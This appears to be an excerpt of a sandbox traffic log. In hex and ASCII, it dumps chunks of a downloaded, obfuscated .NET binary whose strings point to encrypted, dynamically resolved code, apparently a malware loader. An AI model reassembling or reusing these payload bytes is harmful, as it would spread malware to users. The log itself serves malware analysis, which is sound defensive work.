7\|TQU`UEtUqTU~U~U~U~U~U~I~F~A@H~T\|;AJ'D
2021-12-31 18:12:58 UTC	90	IN	Data Raw: 6f 68 14 1b 36 03 00 00 00 00 03 00 06 18 54 00 65 01 36 03 f0 11 01 00 08 00 10 18 b9 16 37 01 36 03 00 00 00 00 03 00 46 00 14 18 24 1b 36 03 04 12 01 00 08 00 16 00 6f 68 2c 1b 36 03 00 00 00 00 03 00 06 18 54 00 65 01 36 03 14 12 01 00 08 00 10 18 b9 16 37 01 36 03 00 00 00 00 03 00 46 00 14 18 3c 1b 36 03 28 12 01 00 08 00 16 00 6f 68 44 1b 36 03 00 00 00 00 03 00 06 18 54 00 65 01 36 03 38 12 01 00 08 00 10 18 b9 16 37 01 36 03 00 00 00 00 03 00 46 00 14 18 54 1b 36 03 4c 12 01 00 08 00 16 00 6f 68 5c 1b 36 03 00 00 00 00 03 00 06 18 54 00 65 01 36 03 5c 12 01 00 08 00 10 18 b9 16 37 01 36 03 00 00 00 00 03 00 46 00 14 18 6c 1b 36 03 70 12 01 00 08 00 16 00 6f 68 74 1b 36 03 00 00 00 00 03 00 06 18 54 00 65 01 36 03 80 12 01 00 08 00 10 18 b9 16 37 Data Ascii: oh6Te676F$6oh,6Te676F<6(ohD6Te6876FT6Loh\6Te6\76Fl6poht6Te67
2021-12-31 18:12:58 UTC	94	IN	Data Raw: 00 01 00 a7 29 00 00 02 00 a7 29 00 00 03 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 03 00 a7 29 00 00 04 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 03 00 a7 29 00 00 04 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 03 00 a7 29 00 00 04 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 03 00 a7 29 00 20 04 00 a7 29 00 00 05 00 a7 29 00 00 06 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 03 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 03 00 a7 29 00 00 04 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 03 00 03 00 Data Ascii: )))))))))))))))))))))))) ))))))))))))))))))
2021-12-31 18:12:58 UTC	97	IN	Data Raw: a7 29 00 00 02 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 10 10 03 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 03 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 03 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 03 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 03 00 a7 29 00 00 01 00 a7 29 00 00 01 00 a7 29 00 00 02 00 a7 29 00 00 02 00 8a 4f 00 00 03 00 8c 4f 00 00 04 00 8e 4f 00 00 01 00 5c 55 00 00 02 00 5e 55 00 Data Ascii: ))))))))))))))))))))))))))))))))))))))OOO\U^U
2021-12-31 18:12:58 UTC	101	IN	Data Raw: 00 02 00 00 00 b0 71 00 00 29 8f 01 00 02 00 00 00 d6 71 00 00 04 00 03 00 07 00 06 00 0a 00 09 00 0b 00 09 00 0f 00 0e 00 10 00 0e 00 11 00 0e 00 12 00 0e 00 13 00 0e 00 14 00 0e 00 15 00 0e 00 16 00 0e 00 17 00 0e 00 18 00 0e 00 19 00 0e 00 1a 00 0e 00 25 00 24 00 28 00 27 00 2a 00 29 00 2b 00 29 00 2c 00 2b 00 2d 00 29 00 2e 00 29 00 2f 00 29 00 30 00 29 00 31 00 29 00 32 00 29 00 33 00 29 00 34 00 29 00 35 00 29 00 36 00 29 00 37 00 29 00 38 00 29 00 3b 00 3a 00 3c 00 3a 00 3e 00 3d 00 3f 00 3d 00 40 00 3d 00 41 00 3d 00 42 00 3d 00 43 00 3d 00 44 00 3d 00 45 00 3d 00 46 00 3d 00 47 00 3d 00 48 00 3d 00 49 00 3d 00 4a 00 3d 00 4b 00 3d 00 4c 00 3d 00 4d 00 3d 00 4e 00 3d 00 4f 00 3d 00 50 00 3d 00 51 00 3d 00 52 00 3d 00 53 00 3d 00 54 00 3d 00 55 00 Data Ascii: q)q%$('*)+),+-).)/)0)1)2)3)4)5)6)7)8);:<:>=?=@=A=B=C=D=E=F=G=H=I=J=K=L=M=N=O=P=Q=R=S=T=U
2021-12-31 18:12:58 UTC	105	IN	Data Raw: 42 5a 00 4c 50 77 67 6b 72 75 70 66 51 75 6e 78 32 51 33 76 63 00 4d 55 4e 70 57 6d 33 51 47 6a 70 77 4a 6b 6c 30 4c 55 00 70 43 76 69 45 37 69 4a 62 64 57 41 77 57 4a 49 51 63 00 54 41 59 6f 39 50 49 66 70 31 70 34 67 77 56 66 48 66 00 73 46 32 43 67 67 4e 33 72 6f 32 73 69 65 31 6e 63 4b 00 6a 74 78 77 39 70 63 6c 6f 38 76 65 6b 69 43 71 36 31 00 74 6e 71 77 31 67 39 42 4f 6e 51 68 44 71 71 69 33 4d 00 56 5a 74 34 65 4f 77 47 58 35 4b 6b 43 41 4e 45 55 46 00 73 75 4d 36 30 68 4c 53 76 41 56 4f 42 41 52 52 4e 48 00 68 4a 74 52 5a 33 42 55 6f 35 6d 79 42 59 53 74 59 6f 00 68 35 32 37 46 74 61 6d 50 71 6d 68 6b 4f 48 59 4b 6e 00 6d 42 61 4b 48 59 7a 51 70 76 46 52 53 47 69 39 4d 78 00 6f 42 55 6d 64 61 46 46 46 6f 6b 32 57 61 46 79 33 55 6c 00 68 6c 57 53 Data Ascii: BZLPwgkrupfQunx2Q3vcMUNpWm3QGjpwJkl0LUpCviE7iJbdWAwWJIQcTAYo9PIfp1p4gwVfHfsF2CggN3ro2sie1ncKjtxw9pclo8vekiCq61tnqw1g9BOnQhDqqi3MVZt4eOwGX5KkCANEUFsuM60hLSvAVOBARRNHhJtRZ3BUo5myBYStYoh527FtamPqmhkOHYKnmBaKHYzQpvFRSGi9MxoBUmdaFFFok2WaFy3UlhlWS
2021-12-31 18:12:58 UTC	110	IN	Data Raw: 65 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 70 72 6f 63 4e 61 6d 65 00 6b 65 72 6e 65 6c 33 32 00 72 65 68 63 74 61 4d 78 69 66 65 72 50 69 72 55 73 75 6f 6d 79 6e 6f 6e 41 70 74 74 48 73 6c 65 6e 6e 61 68 43 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 32 34 30 37 31 00 74 53 69 36 6a 72 35 49 73 35 5a 65 42 74 57 6d 53 51 56 00 61 72 67 00 6c 61 69 74 6e 65 64 65 72 43 74 6e 65 69 6c 43 6e 65 6b 6f 54 64 65 75 73 73 49 79 74 69 72 75 63 65 53 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 32 35 31 31 30 00 72 65 64 6e 69 42 72 65 6e 65 74 73 69 4c 6e 6f 69 73 73 65 53 79 6c 70 65 52 72 65 64 6e 69 42 72 65 6e 65 74 73 69 4c 72 65 68 63 74 61 70 73 69 44 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 34 39 33 32 34 00 74 78 Data Ascii: eGetProcAddressprocNamekernel32rehctaMxiferPirUsuomynonApttHslennahCledoMecivreSmetsyS24071tSi6jr5Is5ZeBtWmSQVarglaitnederCtneilCnekoTdeussIytiruceSledoMecivreSmetsyS25110redniBrenetsiLnoisseSylpeRredniBrenetsiLrehctapsiDledoMecivreSmetsyS49324tx
2021-12-31 18:12:58 UTC	114	IN	Data Raw: 69 6c 65 4d 6f 64 65 00 46 69 6c 65 41 63 63 65 73 73 00 46 69 6c 65 53 68 61 72 65 00 6c 6b 70 36 39 71 5a 47 63 00 4e 69 58 54 41 32 48 58 37 00 54 6f 41 72 72 61 79 00 73 31 46 65 43 49 54 44 67 00 73 65 74 5f 4b 65 79 00 73 65 74 5f 49 56 00 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 57 72 69 74 65 00 7a 6c 58 58 6f 63 43 6c 69 00 67 65 74 5f 4f 66 66 73 65 74 54 6f 53 74 72 69 6e 67 44 61 74 61 00 77 4e 31 63 64 52 79 54 53 00 53 74 61 72 74 73 57 69 74 68 00 67 65 74 5f 43 68 61 72 73 00 4d 71 55 4b 55 67 6a 62 45 00 72 74 36 73 58 58 68 65 31 00 61 44 4b 71 78 59 71 5a 6f 00 4b 34 79 78 4c 4a 72 74 4b 00 75 76 4b 79 64 42 6a 76 34 00 75 33 54 47 46 51 42 65 78 00 6d 66 76 42 64 70 68 58 79 00 76 53 33 4c 6a 38 58 78 45 00 43 49 4b 46 42 59 35 Data Ascii: ileModeFileAccessFileSharelkp69qZGcNiXTA2HX7ToArrays1FeCITDgset_Keyset_IVCreateDecryptorWritezlXXocCliget_OffsetToStringDatawN1cdRyTSStartsWithget_CharsMqUKUgjbErt6sXXhe1aDKqxYqZoK4yxLJrtKuvKydBjv4u3TGFQBexmfvBdphXyvS3Lj8XxECIKFBY5
2021-12-31 18:12:58 UTC	118	IN	Data Raw: 6f 67 36 61 70 36 46 52 6c 55 36 00 54 30 67 45 54 75 45 65 54 55 4f 5a 34 55 36 53 39 33 75 00 7a 77 32 4f 37 73 45 6b 65 33 67 57 55 70 41 41 44 6e 4b 00 4e 30 35 68 76 51 48 74 4f 58 00 6c 50 6e 68 52 55 6b 74 32 54 00 63 44 30 68 4e 35 32 6e 4c 48 00 73 4a 33 68 72 50 57 78 58 37 00 56 61 76 68 62 34 30 41 73 37 00 52 65 6b 68 50 33 41 70 6d 30 00 61 59 73 68 36 35 62 44 69 63 00 52 37 6c 68 54 5a 31 42 70 5a 00 42 46 6d 32 56 59 45 4b 78 6c 51 4e 4f 32 39 52 33 54 69 00 47 52 49 38 42 4b 6a 4c 70 56 00 66 6e 38 38 43 6f 6f 75 67 67 00 75 67 53 38 78 79 43 67 67 66 00 69 48 49 38 44 37 49 47 79 50 00 50 66 4a 38 31 76 44 38 44 79 00 65 4e 64 38 67 6b 55 67 4b 47 00 43 41 6d 38 61 48 4c 32 56 46 00 66 77 72 68 44 73 74 51 6a 6e 00 4c 42 36 38 6c 66 51 Data Ascii: og6ap6FRlU6T0gETuEeTUOZ4U6S93uzw2O7sEke3gWUpAADnKN05hvQHtOXlPnhRUkt2TcD0hN52nLHsJ3hrPWxX7Vavhb40As7RekhP3Apm0aYsh65bDicR7lhTZ1BpZBFm2VYEKxlQNO29R3TiGRI8BKjLpVfn88CoouggugS8xyCggfiHI8D7IGyPPfJ81vD8DyeNd8gkUgKGCAm8aHL2VFfwrhDstQjnLB68lfQ
2021-12-31 18:12:58 UTC	122	IN	Data Raw: 72 67 65 74 49 6e 76 6f 63 61 74 69 6f 6e 45 78 63 65 70 74 69 6f 6e 00 4b 69 34 69 42 36 36 4c 48 56 00 70 6f 77 69 4c 34 38 54 73 73 00 58 74 61 69 46 6c 38 61 64 6f 00 4f 4b 47 69 57 6b 70 66 76 42 00 4c 61 6f 69 6e 57 4a 51 53 45 00 43 6f 6e 73 74 72 75 63 74 6f 72 49 6e 66 6f 00 73 65 74 5f 49 74 65 6d 00 4f 76 65 72 66 6c 6f 77 45 78 63 65 70 74 69 6f 6e 00 54 72 79 47 65 74 56 61 6c 75 65 00 4e 75 6c 6c 52 65 66 65 72 65 6e 63 65 45 78 63 65 70 74 69 6f 6e 00 41 72 69 74 68 6d 65 74 69 63 45 78 63 65 70 74 69 6f 6e 00 64 62 4d 69 4a 72 69 77 34 70 00 68 50 55 41 68 6b 41 43 49 6d 00 74 69 4b 41 69 58 6b 78 59 79 00 50 4e 71 6c 6a 57 48 5a 49 56 00 45 6d 70 74 79 54 79 70 65 73 00 53 69 7a 65 6f 66 00 58 6b 57 6c 6b 43 31 35 33 42 00 4a 67 35 6c 74 Data Ascii: rgetInvocationExceptionKi4iB66LHVpowiL48TssXtaiFl8adoOKGiWkpfvBLaoinWJQSEConstructorInfoset_ItemOverflowExceptionTryGetValueNullReferenceExceptionArithmeticExceptiondbMiJriw4phPUAhkACImtiKAiXkxYyPNqljWHZIVEmptyTypesSizeofXkWlkC153BJg5lt
2021-12-31 18:12:58 UTC	126	IN	Data Raw: 64 30 39 62 36 36 33 62 65 32 38 39 37 36 63 31 66 31 33 00 6d 5f 37 36 39 36 34 37 36 34 62 63 37 66 34 63 64 63 62 35 34 63 39 66 62 31 65 32 39 31 64 66 66 31 00 6d 5f 33 38 35 62 30 36 30 32 36 38 34 33 34 35 63 30 62 63 62 36 32 63 32 65 62 63 35 61 66 34 66 64 00 6d 5f 34 39 38 63 37 32 65 39 62 37 64 61 34 34 32 38 39 37 65 35 31 37 36 63 64 38 36 35 36 32 63 38 00 6d 5f 30 65 34 36 62 36 36 66 39 36 65 61 34 38 39 61 38 61 64 33 38 32 30 30 61 66 66 64 39 61 64 63 00 6d 5f 31 63 34 64 38 37 36 35 66 37 38 36 34 37 32 39 38 64 65 34 66 64 30 66 62 33 35 62 38 61 65 32 00 6d 5f 63 63 36 30 34 39 30 38 30 63 34 32 34 36 38 61 61 61 39 31 62 61 37 32 34 37 37 66 65 33 30 34 00 6d 5f 37 32 66 65 62 64 30 34 35 66 34 66 34 34 37 30 61 36 65 32 64 31 63 Data Ascii: d09b663be28976c1f13m_76964764bc7f4cdcb54c9fb1e291dff1m_385b0602684345c0bcb62c2ebc5af4fdm_498c72e9b7da442897e5176cd86562c8m_0e46b66f96ea489a8ad38200affd9adcm_1c4d8765f78647298de4fd0fb35b8ae2m_cc6049080c42468aaa91ba72477fe304m_72febd045f4f4470a6e2d1c
2021-12-31 18:12:58 UTC	129	IN	Data Raw: 61 79 36 63 57 54 00 58 36 4d 6e 7a 48 73 35 48 46 00 62 70 31 35 6e 4a 43 47 6d 5a 00 78 6e 6d 35 45 62 6f 64 33 6d 00 78 67 6a 35 78 57 6b 6a 37 63 00 47 45 4b 35 4a 77 56 76 35 51 00 4b 35 4e 35 79 72 34 51 71 45 00 51 50 32 35 55 76 75 33 4b 44 00 41 6d 63 35 6b 6b 50 79 4a 5a 00 50 50 72 35 71 69 39 46 76 53 00 42 69 6e 64 65 72 00 54 6f 43 68 61 72 41 72 72 61 79 00 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 00 54 6f 43 68 61 72 00 41 70 70 65 6e 64 00 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 00 47 65 74 4d 65 6d 62 65 72 00 6f 70 5f 45 78 70 6c 69 63 69 74 00 53 69 7a 65 4f 66 00 41 70 70 6c 69 63 61 74 69 6f 6e 00 53 79 73 74 65 6d 2e 57 69 6e 64 6f 77 73 2e 46 6f 72 6d 73 00 67 65 74 5f 45 78 65 63 75 74 61 62 6c 65 50 61 74 68 00 54 68 Data Ascii: ay6cWTX6MnzHs5HFbp15nJCGmZxnm5Ebod3mxgj5xWkj7cGEK5JwVv5QK5N5yr4QqEQP25Uvu3KDAmc5kkPyJZPPr5qi9FvSBinderToCharArrayFromBase64CharArrayToCharAppendInvokeMemberGetMemberop_ExplicitSizeOfApplicationSystem.Windows.Formsget_ExecutablePathTh
2021-12-31 18:12:58 UTC	133	IN	Data Raw: 69 00 67 00 6f 00 4c 00 6c 00 71 00 53 00 74 00 6e 00 65 00 69 00 6c 00 43 00 6c 00 71 00 53 00 61 00 74 00 61 00 44 00 6d 00 65 00 74 00 73 00 79 00 53 00 38 00 35 00 35 00 36 00 00 0f 52 00 65 00 70 00 6c 00 61 00 63 00 65 00 00 27 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 43 00 68 00 61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 17 54 00 6f 00 43 00 68 00 61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 0d 4c 00 65 00 6e 00 67 00 74 00 68 00 00 07 47 00 65 00 74 00 00 59 4c 00 4b 00 4c 00 30 00 4a 00 67 00 6b 00 58 00 32 00 32 00 6f 00 4f 00 76 00 43 00 4a 00 70 00 44 00 58 00 68 00 7a 00 6a 00 78 00 6f 00 34 00 7a 00 37 00 75 00 42 00 48 00 77 00 45 00 44 00 41 00 4e 00 76 00 56 00 4c 00 6a 00 4e 00 50 00 41 00 65 00 49 00 3d 00 00 31 65 Data Ascii: igoLlqStneilClqSataDmetsyS8556Replace'FromBase64CharArrayToCharArrayLengthGetYLKL0JgkX22oOvCJpDXhzjxo4z7uBHwEDANvVLjNPAeI=1e
2021-12-31 18:12:58 UTC	137	IN	Data Raw: 05 0a 0f 05 08 1d 05 18 08 08 1d 05 08 08 05 20 01 01 0f 01 09 20 02 12 80 c1 0e 11 81 2d 07 20 04 01 08 08 08 08 04 00 01 1c 1c 03 07 01 1c 04 00 01 02 0e 05 20 00 12 81 65 05 20 02 0e 0e 0e 06 20 01 12 81 69 0e 06 00 03 18 18 0e 09 05 00 02 0e 0e 0e 07 00 04 18 18 09 09 09 0a 00 05 08 18 18 1d 05 09 10 18 06 00 03 0e 0e 0e 0e 08 00 04 08 18 08 08 10 08 06 00 03 18 09 08 09 04 00 01 08 18 03 00 00 18 05 00 02 02 18 18 0a 07 05 1d 05 12 81 6d 08 08 08 0d 20 04 01 0e 11 81 71 11 81 75 11 81 79 05 00 00 12 80 ad 07 00 01 1d 05 12 80 ad 08 07 02 12 80 ad 12 80 f9 05 20 00 12 80 a1 07 20 03 01 1d 05 08 08 04 00 01 08 0e 0b 07 06 0f 03 45 0e 08 08 08 0f 03 05 00 02 02 0e 0e 06 07 04 02 02 08 08 04 20 01 02 0e 04 20 01 03 08 07 07 04 1d 05 08 08 08 06 07 03 1d Data Ascii: - e im quy E
2021-12-31 18:12:58 UTC	142	IN	Data Raw: 04 06 12 82 58 06 20 02 01 1c 10 02 09 00 03 01 1c 10 02 12 82 58 04 06 12 82 5c 07 00 02 01 1c 12 82 5c 04 06 12 82 60 06 20 01 12 80 ad 1c 09 00 02 12 80 ad 1c 12 82 60 04 06 12 82 64 05 20 02 01 1c 0a 08 00 03 01 1c 0a 12 82 64 04 06 12 82 68 07 20 01 1d 12 81 1d 1c 0a 00 02 1d 12 81 1d 1c 12 82 68 04 06 12 82 6c 06 20 01 12 80 95 1c 09 00 02 12 80 95 1c 12 82 6c 04 06 12 82 70 07 00 02 02 1c 12 82 70 04 06 12 82 74 09 20 02 02 12 80 95 12 80 95 0c 00 03 02 12 80 95 12 80 95 12 82 74 04 06 12 82 78 04 20 01 05 1c 07 00 02 05 1c 12 82 78 04 06 12 82 7c 04 20 01 0a 1c 07 00 02 0a 1c 12 82 7c 04 06 12 82 80 04 20 01 0c 1c 07 00 02 0c 1c 12 82 80 04 06 12 82 84 04 20 01 0d 1c 07 00 02 0d 1c 12 82 84 04 06 12 82 88 07 20 02 12 80 ad 1c 0e 0a 00 03 12 80 ad Data Ascii: X X\\` `d dh hl lppt tx x\| \|
2021-12-31 18:12:58 UTC	146	IN	Data Raw: d7 7b 95 c7 19 9b f4 c0 cd b7 51 f5 d4 9f 1c e6 c9 f3 16 31 99 fe 93 cf 1c 6a 38 dd 25 b3 35 3c f0 61 be da 09 5d a1 c0 98 41 d9 a7 34 33 19 df d7 27 f0 df 69 b7 7b a1 45 28 0f c9 ca bc 6b 41 8d 56 40 92 67 e5 06 fa 37 10 ea ef 44 01 2d 76 d2 f8 c5 71 a6 18 d0 27 c8 ae 57 44 95 97 90 cd f3 33 fd 37 85 f7 2c 9a dd 71 a3 ed e2 5a 15 58 2e cd 11 04 be 97 2b 4f 48 40 e1 88 a5 c4 a1 66 1f 10 b6 ae 0f 06 8d 30 52 23 ad b1 32 ab 54 f0 7e fe 58 07 63 0c 13 bd 1e b1 b5 79 13 c0 34 ac e8 cf 23 5a 42 84 14 b7 1f 5e 6d 8b a2 bf de 72 2b d7 03 ca 4b 4d 98 df 39 13 08 2a 7f 77 c8 47 28 7b d5 47 14 31 20 e8 06 f5 bd 2e 16 56 4d 21 21 d6 3c 72 56 36 b0 0b 50 2c 0f 18 38 e0 3a 46 ea 81 dc 20 62 87 0b c2 83 8f 34 63 08 8b c7 69 53 9d 36 1e 95 48 14 4c da 12 03 1a c1 9d af Data Ascii: {Q1j8%5<a]A43'i{E(kAV@g7D-vq'WD37,qZX.+OH@f0R#2T~Xcy4#ZB^mr+KM9*wG({G1 .VM!!<rV6P,8:F b4ciS6HL
2021-12-31 18:12:58 UTC	150	IN	Data Raw: 60 3c 78 e7 eb 3a 6f 2d fb 84 45 e5 41 a9 a4 48 85 4f 2e 6e db 02 fc 3a 0b 40 b2 ef fd e1 5d b0 fa 99 2b 83 6d 5c 9c 18 8c a2 ac 7d 53 d7 3a 03 b6 2a 4c 2f c7 45 26 69 d7 be ab 01 cc ca 84 c4 34 8e 2b c3 ee 36 0a 9e 27 f5 52 7e 11 f9 62 27 2e 95 7c 79 d4 1d 86 95 7e 41 cd 4b 29 e7 9e 8d 99 86 67 73 19 f5 e3 fc 65 bf 28 dd 21 a3 a3 1c a2 db 67 6e 53 9a 7f 49 c7 51 94 af 17 4a 75 49 d2 a2 1f cf e6 84 f9 12 eb c1 02 1e ed 65 6f e0 78 93 79 70 3a fc 17 e2 31 3e fc 18 53 3f 4b c3 e3 95 fc f0 e9 a0 13 99 a3 d3 37 02 3f ac 0a 00 42 15 5e c0 54 85 bc 2a 9a 01 53 6b 49 88 86 1f 99 04 2b 4a f5 4f c6 02 d4 5f b5 d0 7d 34 ec 7c 07 ad cf a0 88 36 55 bc a0 59 8a 19 dc ab db b8 9b 6f cf 6d fd da 99 e2 73 d5 bf 47 7c 2e bc 27 a2 13 bd 92 14 e8 59 b1 85 7f c6 eb 57 54 35 Data Ascii: `<x:o-EAHO.n:@]+m\}S:L/E&i4+6'R~b'.\|y~AK)gse(!gnSIQJuIeoxyp:1>S?K7?B^TSkI+JO_}4\|6UYomsG\|.'YWT5
2021-12-31 18:12:58 UTC	154	IN	Data Raw: 34 52 aa c5 e3 ff 54 a7 4c 92 3c 8d c2 08 bc b2 6f ef 5a 75 19 44 50 7b 04 aa b6 75 b0 0d c5 51 fc 81 0f d1 92 18 60 2f 69 99 25 ec a2 ba 2e e3 e7 6e 47 d9 69 e5 86 5b c9 7d 56 84 9b 71 03 24 9a 21 d5 4d 06 dd c8 a6 48 61 c2 5a 1d aa b1 72 f1 4e a2 ed 93 e4 83 19 07 11 3a 20 5c 0f 4c 07 06 9b 3b 6d 5e 4d 1d 95 f1 7a b5 d1 9d 1a a2 c2 30 61 eb 29 41 ca 55 b5 5d 7b 33 9c 61 78 3d 78 c6 39 1d 4b 49 43 1a fe b5 17 4a b4 ac c3 01 fa 40 8d 5a ef 6d b6 41 ba 54 cd 8e 9c 1b 17 75 13 c4 a4 ad 65 13 13 d9 1d 92 31 47 91 db 5e 85 a8 17 40 aa 34 61 0d b9 e6 ff 54 93 8b 5e 78 75 17 7b ca fd 21 f5 62 65 87 8e 75 59 35 2f de c3 e8 9c 38 3c e7 f6 e8 17 e5 8d e4 38 ce c3 db 88 e4 66 6e eb 77 04 9a 3e 48 1c 64 2b b4 ba 7d 23 52 fb dd bc e4 92 be 51 fd b5 1a b6 5e e3 7b a1 Data Ascii: 4RTL<oZuDP{uQ`/i%.nGi[}Vq$!MHaZrN: \L;m^Mz0a)AU]{3ax=x9KICJ@ZmATue1G^@4aT^xu{!beuY5/8<8fnw>Hd+}#RQ^{
2021-12-31 18:12:58 UTC	158	IN	Data Raw: c4 0f 4c 9e 63 67 fd d1 90 e9 74 dd 0d ad 1b ed e9 e1 b1 34 33 0b c0 ee eb 64 9c 76 73 47 6b 01 f1 a1 92 bb 8e 6e a7 04 0f 43 98 ed 75 05 82 38 40 b8 7b 5e db 79 b2 9a 65 0d 09 70 4e f4 cd 3d ac 03 09 94 65 f8 96 f2 13 bb 88 59 07 a7 04 e2 81 40 8d e6 d2 77 95 32 ef 0c 50 df 49 40 0f 95 ec 0b b8 9c 30 ba 60 fe c7 ee fc 78 55 7e 49 d1 e3 88 78 71 4f ae 3c 68 4b 0f 81 55 b0 eb 7a ae ee 3d ea 66 dd bb 08 20 0e 28 39 84 3f 39 91 59 26 81 51 11 67 d5 09 c0 87 0b 28 a8 d9 65 81 db 34 d1 d2 67 5f 75 1c a5 cc 56 11 7b 85 36 63 a6 20 d5 e0 14 0d 05 ff 6b fe 6f 11 9c 71 22 e3 fb c0 77 a8 d1 a9 0b fb a4 0d 8d e2 96 4b 8f d4 6c 6d ca 76 da cf fe f1 55 6d 70 82 0e 67 d8 c3 10 aa 7e c3 a7 56 d3 2e f7 e6 9f 6d d8 5e ca 73 aa 77 4b 7b 14 51 a0 1c 77 bc 43 ea 07 41 a7 8c Data Ascii: Lcgt43dvsGknCu8@{^yepN=eY@w2PI@0`xU~IxqO<hKUz=f (9?9Y&Qg(e4g_uV{6c koq"wKlmvUmpg~V.m^swK{QwCA
2021-12-31 18:12:58 UTC	161	IN	Data Raw: 41 d9 0b 2c 2b bf b7 00 de a8 14 9d 4a f9 da 87 6c 93 c5 de af 44 29 17 31 60 09 6f 5c 5f fc e0 29 9a 0c 53 c1 a2 6c 71 24 a9 0c cf f6 7a c2 8d 76 14 9a f8 4e 51 f6 68 ba e6 d7 2b e5 22 a4 02 8a a1 48 b0 ad 77 77 b8 ad cb 35 61 86 c4 8f c2 17 ce 93 6a a4 9e eb 13 7e 75 3c a7 62 bd 10 5f 3e fc 53 16 44 24 d3 fd 49 57 03 ae cb 89 c3 0a 32 b8 21 4c 3c b6 07 bd b6 95 6a 24 b2 bb 52 ba 4e 4f 35 bb 9f ed 2f 0a 12 73 eb 93 3c 8f 11 ab 79 9d 20 aa 0e 63 4c 4b 8d b9 b9 3c 1a e1 1e 4f a7 62 45 54 b6 04 bd d9 79 bd 47 9b 9d f8 6e 3b c4 f4 22 2e 78 f7 40 1e 38 ee df dc 1f 08 6a 9f 1b e5 5d 7f 7a 1f 15 80 cd cc 4b d8 fa 97 b1 44 fc f5 77 06 09 70 4a 6e a0 71 b0 7b 3b 89 52 f5 4f 8b d4 c5 4b ee e8 e2 5f 35 06 2f bf 00 31 68 42 f6 73 b5 7e 9c 48 1c 87 2c d3 68 85 47 40 Data Ascii: A,+JlD)1`o\_)Slq$zvNQh+"Hww5aj~u<b_>SD$IW2!L<j$RNO5/s<y cLK<ObETyGn;".x@8j]zKDwpJnq{;ROK_5/1hBs~H,hG@
2021-12-31 18:12:58 UTC	165	IN	Data Raw: 07 48 9a 2d 6b 27 90 23 ad 8f c6 4a 70 f4 62 31 16 86 69 29 db d0 5f 81 a6 d1 ef 01 f2 2d 4c 9f 3d f5 0f ff 36 35 48 0e 13 07 be 5b 9e 8c fa d8 bd 13 05 dc 77 c3 db eb 93 ed 03 ec 7c b7 0a 59 6e 26 47 e1 08 e3 a1 eb a2 11 5c 09 06 fc 20 52 56 4a 4a 12 8e 10 ae 53 fc cb 81 1a 6b 50 3f 66 b5 28 77 b8 51 b3 66 1f f2 ac 97 53 5f 2f 45 6f 1e eb 5b f6 c9 5b 51 6c 55 28 f3 64 22 35 7e 24 68 19 fb de 5c eb 4d 1f 0b 9f db 1b aa ba 41 45 0c fd 73 f3 19 13 d8 be ef 16 d1 ca 8f 47 e7 59 d8 4c fe 16 03 c3 a5 3e 17 aa 4c b5 2a 03 1a ab a8 f9 3f 12 44 44 ea d3 19 08 fb f2 fe 02 62 90 53 63 25 03 7f ec bd 58 c3 36 41 26 75 99 af 06 51 98 09 78 ba 6e c0 5e 1a eb 2e 46 4d aa 60 f0 82 58 08 cd a9 f4 80 d4 f8 3d 5e 75 09 5c c6 a7 13 80 16 ab 93 43 9b 9e 8a dc ba 6d 3b 37 3c Data Ascii: H-k'#Jpb1i)_-L=65H[w\|Yn&G\ RVJJSkP?f(wQfS_/Eo[[QlU(d"5~$h\MAEsGYL>L*?DDbSc%X6A&uQxn^.FM`X=^u\Cm;7<
2021-12-31 18:12:58 UTC	169	IN	Data Raw: 93 b3 02 aa 98 05 69 85 e7 b4 ad bd 62 04 f9 f5 8c 9b d0 ca f4 03 06 8c d1 8c 79 99 89 60 94 b7 01 03 4a eb c1 0a f0 36 67 ae c6 57 d6 a5 f9 37 34 fa fd 0e 6a 4d ab 03 b4 2e eb 12 88 f2 2f e3 8a 51 d7 41 cc 3f b3 58 ff f9 ef 67 e5 b9 ce 5f 9c 14 f6 c2 58 6a 78 fc cb 45 e6 65 f1 4b 5e d1 65 f9 91 ab 6c 3d fb 24 38 05 4a 24 60 ef ed 8f f6 25 02 f2 4d b2 0a 40 21 c4 76 48 9f 68 3c 0d 30 12 32 a3 c4 d8 9f 03 45 f2 82 a0 4b 0e 9e 07 64 23 dd ec 6f 35 9d ca 93 e3 b3 68 6a e7 d3 61 53 9b 42 8a b0 58 96 0b 7d 9e 05 3c fe 2d de af 91 fd d1 1f 9d e8 ff f9 74 dd 50 6e 0d d8 3d f3 87 6e 84 ea ef 33 7b 80 4d 4d e4 f5 37 d3 fd 50 44 3e c1 20 5d 71 e2 f3 a0 3b a8 a3 